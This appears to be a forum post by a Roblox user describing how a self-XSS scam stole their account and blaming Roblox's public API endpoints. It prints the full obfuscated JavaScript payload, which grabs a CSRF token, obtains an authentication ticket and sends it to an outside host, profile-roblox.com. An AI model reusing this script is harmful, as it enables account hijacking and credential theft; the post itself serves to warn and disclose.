My account was recently compromised by one of the javascript breaches. We did a ton of digging and research into the breach after it happened, and it was partially my own fault and partially due to some extreme insecurities in the Roblox public API endpoints.
I was helping out a developer learn to dev, when they managed to get me to paste a javascript code into my URL that was meant to call for a Roblox public API endpoint. (Stupid of me, for sure, I was off guard as they had gained my trust) I will not post the code here for obvious reasons, but if anyone wants to review it safely, DM me.
We did some brief digging and found the core code being run behind the scenes is this:
async function payload2() {
var hash = (await (await fetch((await (await fetch("https://www.roblox.com/avatar-thumbnail-3d/json?userId=" + $("meta[name='user-data']").data("userid") + "&_=" + Math.random())).json()).Url)).json()).textures[0]
for (var i = 31, t = 0; t < 32; t++)
i ^= hash[t].charCodeAt(0);
location.href = "https://t" + (i % 8).toString() + ".rbxcdn.com/" + hash
}
(async function(){var _0x2416b1=(await(await fetch('/home',{'credentials':'include'}))['text']())['split']('setToken(\x27')[0x1]['split']('\x27)')[0x0];var _0x12edd1=(await fetch('https://auth.roblox.com/v1/authentication-ticket',{'method':'POST','credentials':'include','headers':{'x-csrf-token':_0x2416b1}}))['headers']['get']('rbx-authentication-ticket');await fetch('https://profile-roblox.com/send22test.php'+'?t='+_0x12edd1);await payload2()}());
The main issue seems to be that the end points are just, directly public, which is simply a direct avenue for abuse, either to breach accounts like here, or to create endless bots. They literally just ask roblox for the information to the account, and roblox straight up gives it to them.
Me and my team are not Roblox engineers, so our view of the mater is limited, but the only valid reason we could thing of to have these endpoint APIs being public is for analytics, which could be instead done the same way Instagram does it, where these APIs are only provided to specifically approved people.
From our limited point of view, it just really doesn’t seem like it’s worth the absolutely massive security breach that they cause, for so little function in return, considering how often this is happening now, and so much being lost because of it.